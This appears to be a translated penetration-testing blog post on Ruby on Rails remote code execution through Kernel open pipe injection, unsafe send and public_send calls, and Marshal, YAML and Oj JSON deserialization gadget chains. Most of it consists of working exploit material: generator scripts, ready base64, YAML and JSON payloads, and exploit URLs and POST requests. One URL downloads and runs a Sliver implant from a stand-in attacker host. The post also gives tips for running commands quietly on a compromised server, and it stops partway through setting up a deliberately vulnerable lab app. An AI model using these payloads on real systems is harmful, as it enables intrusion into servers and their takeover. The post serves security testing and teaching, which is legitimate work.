在最近的一次评估中,我测试了一个Ruby on Rails应用程序,该应用程序容易受到三种最常见的Ruby特定远程代码执行(RCE)漏洞的攻击。Brakeman通常会检测到所有这些漏洞,但我总是喜欢包含有效的漏洞利用代码,以便为客户提供展示给定问题严重性的直观示例。我能够找到一些最直接利用漏洞的示例(不安全地使用内置的open函数),但剩下的必须由我自己亲自拼凑起来。以下演示的结果可以为您省去做同样事情的麻烦。
我还整理了一个非常基本的Ruby on Rails应用程序,该应用程序容易受到本文中讨论的所有攻击的攻击,因此可以更轻松地对同一类型的攻击尝试不同的变体。文章末尾有关于设置实例的说明。
通过内核级open函数实现RCE
这是本文将讨论的最直接的Ruby特定RCE漏洞。如果在Rails请求处理程序中使用用户提供的输入调用内置Ruby open函数,如下所示:
open(params[:path_or_url])
...然后,该请求处理程序容易受到任意操作系统命令执行的攻击,只需攻击者将输入的第一个字符设置为管道字符即可(|)。在示例中,可以通过访问以下URL来利用该漏洞:
http://127.0.0.1:3000/?url=|date%3E%3E/tmp/rce1.txt
…这将执行概念验证shell命令date >> /tmp/rce1.txt,或者:
http://127.0.0.1:3000/?url=|wget%20https://sliver-server.attacker.domain/sliver%3b%20chmod%20+x%20sliver%3b%20./sliver
…模拟下载和执行Sliver植入程序。
在这篇文章的其余部分,示例shell命令是date >> /tmp/rce1.txt的变体。这是我进行漏洞利用开发的一个常用方法,因为它是无害的,并且每次漏洞利用成功时都会产生一条日志记录,而不仅仅是最近的利用才会有记录(就像touch /tmp/rce1.txt那样)。
通过不安全发送实现RCE
Ruby对象有一对名为send和public\u send的有趣的速记函数,它们接受方法名称字符串以及数量可变的参数,这些参数应该传递给由第一个参数标识的方法。Ruby开发人员可以使用它们来使代码的某些部分更加灵活。例如,以下代码可用于将相同的输入传递给自定义类中的三个不同函数:
class TextPrinter < Object def echo(*args) puts "Arguments: " + args.join(', ') end def echo_uppercase(*args) puts "Arguments: " + args.join(', ').upcase end def echo_lowercase(*args) puts "Arguments: " + args.join(', ').downcase end end method_names = ["echo", "echo_uppercase", "echo_lowercase"] tprinter = TextPrinter.new() for mn in method_names do tprinter.send(mn, "a", "b", "c", "A", "B", "C") end
由于函数是由字符串而不是符号标识的,所以甚至可以在用户提供的输入中指定要调用的方法。这种级别的灵活性可以帮助解耦由不同团队维护的应用程序组件(例如Web应用程序的前端和后端),但它也很可能使代码容易受到恶意输入的任意命令执行的影响。几乎任何支持反射的语言都可以做到这样,但Ruby将这一特性放在首位以获取广泛使用。
send的典型不安全使用是从用户输入中读取任意方法名,并将其传递给也从用户输入中读取的字符串值。可以在示例易受攻击的应用程序中使用如下URL测试该行为:
http://127.0.0.1:3000/?send_method_name=eval&send_argument=`date>>/tmp/rce5.txt`
正是评估的过程给了本篇文章很大的启发。在评估的过程中,一些代码路径使用了Ruby的“splat”运算符,而不是传递不同的方法名称和参数,类似于以下代码:
@send_article.send(*params[:send_value])
通常,send_value的URL参数可能只是一个方法名,但“splat”运算符意味着如果参数是一个值数组,它将被解包并作为一系列参数发送到send method。Ruby在从URL参数解析不同类型的数据时非常灵活,因此可以使用以下URL创建条件:
http://127.0.0.1:3000/?send_value[]=eval&send_value[]=`date>>/tmp/rce6.txt`
Ruby对象还继承了一个名为public_send的方法,该方法只能引用对象的公共方法,而send可以引用私密方法。人们会认为这至少可以更安全一些,但正如Yuji Yamamoto在2016年所说明的那样,public_send在实践中与send一样危险。
具体来说,虽然该eval函数对于Ruby对象不是公共的,但它们公开了一个功能等效的方法,名为instance_eval。因此,可以在示例应用程序中利用类似于以下URL的两个参数变体:
http://127.0.0.1:3000/?public_send_method_name=instance_eval&public_send_argument=`date%3E%3E/tmp/rce7.txt`
...并且可以像这样利用代码上的“splat”变体:
http://127.0.0.1:3000/?public_send_value[]=instance_eval&public_send_value[]=`date>>/tmp/rce8.txt`
通过二进制反序列化实现RCE
早在2013年,Hailey Somerville就为Ruby on Rails搭建了一个的端到端的二进制反序列化小工具链。2018年,Luke Jahnke搭建了一个更新的小工具链,它适用于文章发表时的所有Ruby 2.x版本。Ruby 2.7及更高版本的补丁破坏了Jahnke的小工具链,但William Bowling,又名AKA vakzz,在2021年对其进行了修改,以便适用于Ruby 2和3的所有版本,并提供了一个Ruby脚本来生成小工具链的二进制序列化。Bowling的小工具链因RubyGems v3.2.25(2021年7月30日)和Ruby 3.1.1(2022年2月18日)中的更改而中断,但即使在2022年3月,我的测试系统和客户端服务器仍在运行这两个组件的易受攻击版本。
在我对Bowling的小工具链进行的测试中,基本有效负载在独立的Ruby脚本中正常工作,但在Ruby on Rails Web应用程序处理时则不能。对于Web应用程序,我必须将有效负载包装在哈希表中。要复制该方法,您可以使用Bowling脚本的这个修改版本来生成base64编码的有效负载:
# Original code by William Bowling, AKA vakzz # Mostly based on https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html # Autoload the required classes Gem::SpecFetcher Gem::Installer require "base64" # prevent the payload from running when we Marshal.dump it module Gem class Requirement def marshal_dump [@requirements] end end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) rs.instance_variable_set('@git_set', "date >> /tmp/rce9b.txt") wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) payload = Marshal.dump({payload: [Gem::SpecFetcher, Gem::Installer, r]}) puts Base64.strict_encode64(payload)
易受base64编码二进制反序列化攻击的相应Ruby代码通常如下所示:
Marshal.load(Base64.decode64(params[:base64binary]))
您可以使用输出来利用在Ruby安装下运行的示例易受攻击应用程序,该应用程序尚未更新为包含补丁。此请求应将当前日期/时间写入/tmp/rce9b.txt:
http://127.0.0.1:3000/?base64binary=BAh7BjoMcGF5bG9hZFsIYxVHZW06OlNwZWNGZXRjaGVyYxNHZW06Okluc3RhbGxlclU6FUdlbTo6UmVxdWlyZW1lbnRbBm86HEdlbTo6UGFja2FnZTo6VGFyUmVhZGVyBjoIQGlvbzoUTmV0OjpCdWZmZXJlZElPBzsIbzojR2VtOjpQYWNrYWdlOjpUYXJSZWFkZXI6OkVudHJ5BzoKQHJlYWRpADoMQGhlYWRlckkiCGFhYQY6BkVUOhJAZGVidWdfb3V0cHV0bzoWTmV0OjpXcml0ZUFkYXB0ZXIHOgxAc29ja2V0bzoUR2VtOjpSZXF1ZXN0U2V0BzoKQHNldHNvOw8HOxBtC0tlcm5lbDoPQG1ldGhvZF9pZDoLc3lzdGVtOg1AZ2l0X3NldEkiG2RhdGUgPj4gL3RtcC9yY2U5Yi50eHQGOw1UOxM6DHJlc29sdmU%3d
2022年3月28日,就在我写这篇文章的时候,Harsh Jaiswal(又名AKA rootxharsh)和Rahul Maini(又名AKA iamnoooob),发布了一个更新的小工具链,它甚至可以在Ruby 3.1.1中使用。为了让它在Ruby 2.7.5上运行,我必须对其进行一些修改。如果以YAML或JSON形式表达它,则需要修改小工具链,因为基于ActiveRecord::Associations::Association类的步骤仅适用于二进制反序列化。我们将在下面进一步讨论制作YAML和JSON版本。
首先使用Jaiswal和Maini脚本的修改版本:
# original code by Harsh Jaiswal, AKA rootxharsh and Rahul Maini, AKA iamnoooob # Mostly based on: # https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md require 'rails/all' require 'base64' # following three lines added for older versions of Ruby on Rails: require 'rack/response' require 'active_record/associations' require 'active_record/associations/association' require "yaml" Gem::SpecFetcher Gem::Installer require 'sprockets' class Gem::Package::TarReader end require 'bundler/inline' gemfile do source 'https://rubygems.org' gem 'oj', require: true end d = Rack::Response.allocate d.instance_variable_set(:@buffered, false) d0=Rails::Initializable::Initializer.allocate d0.instance_variable_set(:@context,Sprockets::Context.allocate) d1=Gem::Security::Policy.allocate # Can't use angle brackets in the command below or it will result in a dump format error(0xc3) ArgumentException # Similar problem for + signs in some Ruby versions # So the code below dynamically builds the string 'date >> /tmp/rce9a.txt' d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0 , :data => "", :metadata => {}}) d2=Set.new([d1]) d.instance_variable_set(:@body, d2) d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate) c=Logger.allocate c.instance_variable_set(:@logdev, d) e=Gem::Package::TarReader::Entry.allocate e.instance_variable_set(:@read,2) e.instance_variable_set(:@header,"bbbb") b=Net::BufferedIO.allocate b.instance_variable_set(:@io,e) b.instance_variable_set(:@debug_output,c) $a=Gem::Package::TarReader.allocate $a.instance_variable_set(:@init_pos,Gem::SpecFetcher.allocate) $a.instance_variable_set(:@io,b) module ActiveRecord module Associations class Association def marshal_dump # Gem::Installer instance is also set here # because it autoloads Gem::Package which is # required in rest of the chain [Gem::Installer.allocate, $a] end end end end # binary form final = ActiveRecord::Associations::Association.allocate puts Base64.strict_encode64(Marshal.dump(final))
它应该输出如下内容:
BAhVOixBY3RpdmVSZWNvcmQ6OkFzc29jaWF0aW9uczo6QXNzb2NpYXRpb25bB286E0dlbTo6SW5zdGFsbGVyAG86HEdlbTo6UGFja2FnZTo6VGFyUmVhZGVyBjoIQGlvbzoUTmV0OjpCdWZmZXJlZElPBzsIbzojR2VtOjpQYWNrYWdlOjpUYXJSZWFkZXI6OkVudHJ5BzoKQHJlYWRpBzoMQGhlYWRlckkiCWJiYmIGOgZFVDoSQGRlYnVnX291dHB1dG86C0xvZ2dlcgY6DEBsb2dkZXZvOhNSYWNrOjpSZXNwb25zZQg6DkBidWZmZXJlZEY6CkBib2R5bzoIU2V0BjoKQGhhc2h9Bm86GkdlbTo6U2VjdXJpdHk6OlBvbGljeQY6CkBuYW1lewk6DWZpbGVuYW1lSSIRL3RtcC94eXoudHh0BjsNVDoQZW52aXJvbm1lbnRvOiZSYWlsczo6SW5pdGlhbGl6YWJsZTo6SW5pdGlhbGl6ZXIGOg1AY29udGV4dG86F1Nwcm9ja2V0czo6Q29udGV4dAA6CWRhdGFJIkE8JT0gc3lzdGVtKCdkYXRlICcgKyA2Mi5jaHIgKyA2Mi5jaHIgKyAnIC90bXAvcmNlOWEudHh0JykgJT4GOw1UOg1tZXRhZGF0YXsAVEY6DEB3cml0ZXJvOhxTcHJvY2tldHM6OkVSQlByb2Nlc3NvcgA=
您可以使用这样的URL针对易受攻击的示例Web应用程序对其进行测试,该URL应将当前日期/时间写入/tmp/rce9a.txt:
http://10.1.10.161:3000/?base64binary=BAhVOixBY3RpdmVSZWNvcmQ6OkFzc29jaWF0aW9uczo6QXNzb2NpYXRpb25bB286E0dlbTo6SW5zdGFsbGVyAG86HEdlbTo6UGFja2FnZTo6VGFyUmVhZGVyBjoIQGlvbzoUTmV0OjpCdWZmZXJlZElPBzsIbzojR2VtOjpQYWNrYWdlOjpUYXJSZWFkZXI6OkVudHJ5BzoKQHJlYWRpBzoMQGhlYWRlckkiCWJiYmIGOgZFVDoSQGRlYnVnX291dHB1dG86C0xvZ2dlcgY6DEBsb2dkZXZvOhNSYWNrOjpSZXNwb25zZQg6DkBidWZmZXJlZEY6CkBib2R5bzoIU2V0BjoKQGhhc2h9Bm86GkdlbTo6U2VjdXJpdHk6OlBvbGljeQY6CkBuYW1lewk6DWZpbGVuYW1lSSIRL3RtcC94eXoudHh0BjsNVDoQZW52aXJvbm1lbnRvOiZSYWlsczo6SW5pdGlhbGl6YWJsZTo6SW5pdGlhbGl6ZXIGOg1AY29udGV4dG86F1Nwcm9ja2V0czo6Q29udGV4dAA6CWRhdGFJIkE8JT0gc3lzdGVtKCdkYXRlICcgKyA2Mi5jaHIgKyA2Mi5jaHIgKyAnIC90bXAvcmNlOWEudHh0JykgJT4GOw1UOg1tZXRhZGF0YXsAVEY6DEB3cml0ZXJvOhxTcHJvY2tldHM6OkVSQlByb2Nlc3NvcgA%3d
无论您使用的是Bowling的链、Maini和Jaiswal的链,还是其他的,Ruby的二进制序列化格式都可能在不同版本之间不兼容,所以如果您尝试利用二进制反序列化,并且它如预期的那样在实时目标上无法正常工作,确保您使用与运行Web应用程序相同的Ruby版本生成有效负载。
通过YAML反序列化实现RCE
2019年,Etienne Stalmans写了一篇精彩的文章,将Luke Jahnke的原始小工具链转换为YAML格式。在这种情况下,需要手动调整YAML。但是,Bowling最新的小工具链可以通过简单地调用YAML.dump()方法以YAML格式序列化。首先将此行添加到脚本的开头:
require "yaml"
将最后两行更改为:
payload = YAML.dump({payload: [Gem::SpecFetcher, Gem::Installer, r]}) puts payload
该脚本将创建以下输出:
:payload: - !ruby/class 'Gem::SpecFetcher' - !ruby/class 'Gem::Installer' - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: !ruby/object:Net::BufferedIO io: !ruby/object:Gem::Package::TarReader::Entry read: 0 header: aaa debug_output: !ruby/object:Net::WriteAdapter socket: !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: date >> /tmp/rce9b.txt method_id: :resolve
因为YAML相当稳定且易于阅读,所以您可以将这个示例作为模板进行编辑,而无需每次都使用脚本生成它。将有效载荷作为URL参数传递给易受攻击的应用程序会有点混乱,所以我建议使用POST请求,如下所示:
POST / HTTP/1.1 Host: 127.0.0.1:3000 ...omitted for brevity... Content-Type: application/json Content-Length: 596 {"yaml":":payload:\n- !ruby/class 'Gem::SpecFetcher'\n- !ruby/class 'Gem::Installer'\n- !ruby/object:Gem::Requirement\n requirements: !ruby/object:Gem::Package::TarReader\n io: !ruby/object:Net::BufferedIO\n io: !ruby/object:Gem::Package::TarReader::Entry\n read: 0\n header: aaa\n debug_output: !ruby/object:Net::WriteAdapter\n socket: !ruby/object:Gem::RequestSet\n sets: !ruby/object:Net::WriteAdapter\n socket: !ruby/module 'Kernel'\n method_id: :system\n git_set: date >> /tmp/rce2.txt\n method_id: :resolve"}
如上所述,Bowling的小工具链的二进制版本被RubyGems v3.2.25和Ruby 3.1.1中引入的更改破坏了,但是您可能会认为(就像我所做的那样)可以只对Jaiswal和Maini的新的小工具链进行YAML序列化,并且准备好对抗新的Ruby on Rails应用程序。不幸的是,ActiveRecord::Associations::Association类中的逻辑仅在通过marshal_load函数从二进制数据反序列化时起到反序列化小工具的作用,因为这是针对要反序列化的数据的第二个元素调用.each方法的唯一地方。
但是,幸运的是,Gem::Requirement类的RubyGems补丁仅专门修复了二进制反序列化变体。在撰写本文时,它的YAML解析仍然存在漏洞。因此,要使Maini和Jaiswal的链在YAML中运行,可以简单地将ActiveRecord::Associations::Association对象替换为Gem::Requirement,就像Bowling链一样。
在研究YAML和JSON序列化时,我发现了另一个特性,即如果小工具链依赖于所调用的each方法(就像Gem::Package::TarReader gadget一样),那么YAML或JSON序列化的有效负载可能不会在仅仅存储为值时触发,但如果它们作为键存储在哈希表中,则会被触发。在这个小工具链中,这似乎是因为使用Gem::Requirement对象作为哈希表键会导致这个事件链:
1.Ruby解释器调用Requirement对象上的hash方法。
2.Requirement对象有一个自定义的散列方法,该方法调用其需求变量的map方法。Ruby的map方法似乎调用了其中的每一个。
3.在这个小工具链中,需求变量已设置为Gem::Package::TarReader类的一个实例,并且该类具有自定义的each方法,这是小工具链包含TarReader的全部原因。当它被hashing过程调用时,链的其余部分被触发。
使用脚本辅助生成和手工制作的组合,基于该原则的模板如下所示:
--- :payload: - !ruby/object:Gem::SpecFetcher {} - !ruby/object:Gem::Installer {} - ? !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: !ruby/object:Net::BufferedIO io: !ruby/object:Gem::Package::TarReader::Entry read: 2 header: bbbb debug_output: !ruby/object:Logger logdev: !ruby/object:Rack::Response buffered: false body: !ruby/object:Set hash: ? !ruby/object:Gem::Security::Policy name: :filename: "/tmp/xyz.txt" :environment: !ruby/object:Rails::Initializable::Initializer context: !ruby/object:Sprockets::Context {} :data: "" :metadata: {} : true writer: !ruby/object:Sprockets::ERBProcessor {} : dummy_value
嵌入到示例Web应用程序的POST请求中,YAML代码如下所示:
POST / HTTP/1.1 …omitted for brevity… Content-Type: application/json Content-Length: 1095 {"yaml": "---\n:payload:\n- !ruby/object:Gem::SpecFetcher {}\n- !ruby/object:Gem::Installer {}\n- ? !ruby/object:Gem::Requirement\n requirements: !ruby/object:Gem::Package::TarReader\n io: !ruby/object:Net::BufferedIO\n io: !ruby/object:Gem::Package::TarReader::Entry\n read: 2\n header: bbbb\n debug_output: !ruby/object:Logger\n logdev: !ruby/object:Rack::Response\n buffered: false\n body: !ruby/object:Set\n hash:\n ? !ruby/object:Gem::Security::Policy\n name:\n :filename: \"/tmp/xyz.txt\"\n :environment: !ruby/object:Rails::Initializable::Initializer\n context: !ruby/object:Sprockets::Context {}\n :data: \"\"\n :metadata: {}\n : true\n writer: !ruby/object:Sprockets::ERBProcessor {}\n : dummy_value" }
这个YAML有效负载在Ruby 2.7.5-p203/Rails 5.2.5和Ruby 3.1.1p18/Rails 7.0.2.3下都没有任何变化。
通过Oj JSON反序列化实现RCE
这篇文章受到了评估过程的启发。评估过程中客户端应用程序使用了由Oj gem处理的JSON对象序列化。与Ruby的内置JSON功能不同,OJ支持序列化和反序列化任意复杂对象,因此在其默认配置中容易受到Bowling小工具链的JSON表达的攻击。因此,当您看到如下代码时,很可能容易受到此类攻击:
Oj.load(params[:json])
与上一节中的YAML有效负载类似,基本的Bowling负载最初可以通过在脚本的开头添加以下代码片段来生成:
require 'bundler/inline' gemfile do source 'https://rubygems.org' gem 'oj', require: true end
...然后将脚本的最后两行更改为:
payload = Oj.dump([Gem::SpecFetcher, Gem::Installer, r]) puts payload
这将输出以下JSON,这是特定于Oj gem的序列化格式:
[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":system"},"git_set":"date >> /tmp/rce10a.txt"},"method_id":":resolve"}}}}]
...或者:
[ { "^c": "Gem::SpecFetcher" }, { "^c": "Gem::Installer" }, { "^o": "Gem::Requirement", "requirements": { "^o": "Gem::Package::TarReader", "io": { "^o": "Net::BufferedIO", "io": { "^o": "Gem::Package::TarReader::Entry", "read": 0, "header": "aaa" }, "debug_output": { "^o": "Net::WriteAdapter", "socket": { "^o": "Gem::RequestSet", "sets": { "^o": "Net::WriteAdapter", "socket": { "^c": "Kernel" }, "method_id": ":system" }, "git_set": "date >> /tmp/rce10a.txt" }, "method_id": ":resolve" } } } } ]
...但是,正如上面YAML部分中所讨论的,为了执行有效负载,我必须使用有效负载作为哈希表中的键。我没有找到生成有效负载并将其作为键嵌入到单个脚本中的方法,因此我修改了脚本,以生成一个不同的哈希表,并将其他现有对象之一作为键,以了解Oj将如何表达它:
@inner_payload = {} @inner_payload[i] = "dummy_value" payload = Oj.dump(@inner_payload) puts payload
中间示例的输出如下:
{"^#1":[{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"dummy_value"]}
在这种情况下,i object表达为
{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"}。用原始有效负载替换该JSON会产生如下结果:
{ "^#1": [ [ { "^c": "Gem::SpecFetcher" }, { "^c": "Gem::Installer" }, { "^o": "Gem::Requirement", "requirements": { "^o": "Gem::Package::TarReader", "io": { "^o": "Net::BufferedIO", "io": { "^o": "Gem::Package::TarReader::Entry", "read": 0, "header": "aaa" }, "debug_output": { "^o": "Net::WriteAdapter", "socket": { "^o": "Gem::RequestSet", "sets": { "^o": "Net::WriteAdapter", "socket": { "^c": "Kernel" }, "method_id": ":system" }, "git_set": "date >> /tmp/rce10a.txt" }, "method_id": ":resolve" } } } } ], "dummy_value" ] }
...或者,更紧凑一点:
{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":spawn"},"git_set":"date >> /tmp/rce10a.txt"},"method_id":":resolve"}}}}],"dummy_value"]}
易受攻击的 Ruby on Rails 应用程序示例将接受负载作为GET请求,如下所示:
http://127.0.0.1:3000/?oj={%22^%231%22%3a[[{%22^c%22%3a%22Gem%3a%3aSpecFetcher%22}%2c{%22^c%22%3a%22Gem%3a%3aInstaller%22}%2c{%22^o%22%3a%22Gem%3a%3aRequirement%22%2c%22requirements%22%3a{%22^o%22%3a%22Gem%3a%3aPackage%3a%3aTarReader%22%2c%22io%22%3a{%22^o%22%3a%22Net%3a%3aBufferedIO%22%2c%22io%22%3a{%22^o%22%3a%22Gem%3a%3aPackage%3a%3aTarReader%3a%3aEntry%22%2c%22read%22%3a0%2c%22header%22%3a%22aaa%22}%2c%22debug_output%22%3a{%22^o%22%3a%22Net%3a%3aWriteAdapter%22%2c%22socket%22%3a{%22^o%22%3a%22Gem%3a%3aRequestSet%22%2c%22sets%22%3a{%22^o%22%3a%22Net%3a%3aWriteAdapter%22%2c%22socket%22%3a{%22^c%22%3a%22Kernel%22}%2c%22method_id%22%3a%22%3aspawn%22}%2c%22git_set%22%3a%22date%20%3E%3E%20%2ftmp%2frce10a.txt%22}%2c%22method_id%22%3a%22%3aresolve%22}}}}]%2c%22dummy_value%22]}
...或POST请求,如下所示:
POST / HTTP/1.1 Host: 127.0.0.1:3000 ...omitted for brevity... Content-Type: application/json Content-Length: 557 {"oj":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^c\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":0,\"header\":\"aaa\"},\"debug_output\":{\"^o\":\"Net::WriteAdapter\",\"socket\":{\"^o\":\"Gem::RequestSet\",\"sets\":{\"^o\":\"Net::WriteAdapter\",\"socket\":{\"^c\":\"Kernel\"},\"method_id\":\":spawn\"},\"git_set\":\"date >> /tmp/rce10a.txt\"},\"method_id\":\":resolve\"}}}}],\"dummy_value\"]}"}
上面在YAML部分讨论的Maini和Jaiswal小工具链的修改版本在Ruby 2.7.5-p203/Rails 5.2.5和Ruby 3.1.1p18/Rails 7.0.2.3下也可以以Oj JSON格式正常工作:
{ "^#1": [ [ { "^c": "Gem::SpecFetcher" }, { "^o": "Gem::Installer" }, { "^o": "Gem::Requirement", "requirements": { "^o": "Gem::Package::TarReader", "io": { "^o": "Net::BufferedIO", "io": { "^o": "Gem::Package::TarReader::Entry", "read": 2, "header": "bbbb" }, "debug_output": { "^o": "Logger", "logdev": { "^o": "Rack::Response", "buffered": false, "body": { "^o": "Set", "hash": { "^#2": [ { "^o": "Gem::Security::Policy", "name": { ":filename": "/tmp/xyz.txt", ":environment": { "^o": "Rails::Initializable::Initializer", "context": { "^o": "Sprockets::Context" } }, ":data": "", ":metadata": {} } }, true ] } }, "writer": { "^o": "Sprockets::ERBProcessor" } } } } } } ], "dummy_value" ] }
或者:
{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^o":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":2,"header":"bbbb"},"debug_output":{"^o":"Logger","logdev":{"^o":"Rack::Response","buffered":false,"body":{"^o":"Set","hash":{"^#2":[{"^o":"Gem::Security::Policy","name":{":filename":"/tmp/xyz.txt",":environment":{"^o":"Rails::Initializable::Initializer","context":{"^o":"Sprockets::Context"}},":data":"",":metadata":{}}},true]}},"writer":{"^o":"Sprockets::ERBProcessor"}}}}}}],"dummy_value"]}
最简单的方法是作为POST请求发送到示例应用程序,如下所示:
POST / HTTP/1.1 Host: 127.0.0.1:3000 ...omitted for brevity... Content-Type: application/json Content-Length: 748 {"oj":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}"}
Oj和全局配置
Oj有一个有趣的缺陷:它可以配置为支持更有限的JSON序列化格式,这些格式不允许充分表达复杂对象以允许通过这个小工具链进行RCE。在撰写本文时,Oj支持以下模式:compat, custom, json, null, object, rails, strict, 和wab;只有object模式(默认)容易受到攻击。在撰写本文时,在Oj的源代码中strict和null模式是一样的,compat和rails模式也是一样的。示例Web应用程序允许传递一个Oj_mode变量,来显式设置Oj模式,即通过向URL添加&oj_mode=compat、&oj_mode=custom、&oj_mode=json、&oj_mode=null、&oj_mode=object、&oj_mode=rails、&oj_mode=strict或&oj_mode=wab。
Oj选项可以包含在对加载/转储的每个调用中,如下所示:
Oj.load(params[:oj], options = {:mode => :object})
...但是该库还公开了一个全局默认选项配置,该配置由在同一Ruby或Rails进程下运行的所有Oj代码共享,如下所示:
Oj.default_options = { :mode => :object }
大多数开发人员在调用Oj的加载和转储时没有指定明确的选项哈希表,这导致Oj使用该全局默认值。
在评估过程中,我在本地Web应用程序中复制了Oj反序列化调用来开发漏洞利用代码。我的有效负载在本地运行良好,但对真实Web应用程序无效。我在整套源代码中搜索了可能会更改Oj配置的内容,但一无所获。我验证了我所使用的Gems版本与实际服务器完全相同。客户表示,他们不知道他们编写的任何代码会重新配置Oj。我已经通过利用其中一个与发送相关的漏洞在实时服务器上获得了一个shell,因此我用该漏洞在整个目录结构中运行grep命令,并遇到了以下情况:
/home/rails/apps/people_finder/vendor/bundle/ruby/2.7.0/gems/rabl-0.14.5/lib/rabl/configuration.rb:22: Oj.default_options = { :mode => :compat, :time_format => :ruby, :use_to_json => true }
我试图利用的代码甚至没有使用rabl Gem,但是仅仅加载它就能导致该代码被执行吗?我在Gemfile中添加了以下行,以供本地Web应用程序查找:
gem 'rabl', '0.14.5'
重新启动本地Rails进程后,我的代码不再易受攻击。我在我的Gemfile中注释掉了该rabl条目,重新启动Rails,代码再次易受攻击。客户端的应用程序可能存在严重的代码执行漏洞,但由于他们在同一Web应用程序的另一部分中使用了不相关的Gem,因此无意中保护了这个漏洞。我毫不惊讶地发现,这种行为已经成为了rabl在GitHub上的一个公开漏洞的主题。如果rabl开发人员发布了一个更新,停止更改该全局默认值,任何当前无意中受到反序列化攻击保护的Web应用程序都将变得容易受到攻击。即使不考虑安全方面,作为一名前系统工程师,我对第三方Ruby Gem的作者会编写代码修改完全独立的第三方Gem的全局配置感到震惊,而且Oj gem甚至以这种方式公开其配置。
如果您继续使用Oj的代码,我强烈建议您查找load()或dump()函数的所有用法,并使用object之外的模式,将您自己的选项哈希显式传递给它们作为防御措施。
通过Ruby代码执行操作系统命令的一般注意事项
如果您可以执行任意Ruby代码,而不是直接注入操作系统命令(如本文中除了第一个示例之外的所有示例),还有一些不同的内置选项:
1.调用spawn函数。我喜欢这个,因为它不会等待shell进程退出,所以它对易受攻击的应用程序的影响可能不太明显。
2.调用system函数。这也很好,尽管它可能会导致Web应用程序锁定,直到shell进程退出。
3.将OS命令用反引号括起来。这几乎等同于system函数。如果您的注入代码是通过eval或者instance_eval运行的,它可以正常运行,但如果您需要显式调用函数并将命令传递给它以作为字符串执行,则不会。
4.调用exec函数。这是可行的,但除非没有其他选择,否则我会避免使用它,因为它将用shell命令进程替换现有的Ruby或Rails进程。即,如果易受攻击的Web应用程序未配置为自动重启,则注入exec调用将关闭该服务。
前三种方法混合在本文的示例中。
创建易受攻击的应用程序
这些步骤应该适用于几乎任何版本的Ruby on Rails。我使用Ruby 2.7.5-p203/Rails 5.2.5和Ruby 3.1.1p18/Rails 7.0.2.3对其进行了测试。如果您使用4.0或更高版本的psych gem,这是我在Ruby 3.1.1p18/Rails 7.0.2.3下的默认设置,您需要更改app/controllers/articles_controller.rb中的一行代码,然后将load方法别名为safe\u load。
按照Ruby on Rails入门指南中的步骤进行操作,直至3.1。下面的其余步骤将替换3.2以后的所有步骤。
执行以下步骤:
1.将cd放入一个方便的工作目录,然后运行以下命令:
rails new vulnerable_rails_app cd vulnerable_rails_app
2.将config/routes.rb的内容替换为:
Rails.application.routes.draw do root "articles#index" post "/", to: "articles#index" end
3.运行以下命令:
bin/rails generate controller Articles index --skip-routes bin/rails generate model Article param1:string param2:text bin/rails db:migrate RAILS_ENV=development
4.将app/controllers/articles_controller.rb的内容替换为以下内容:
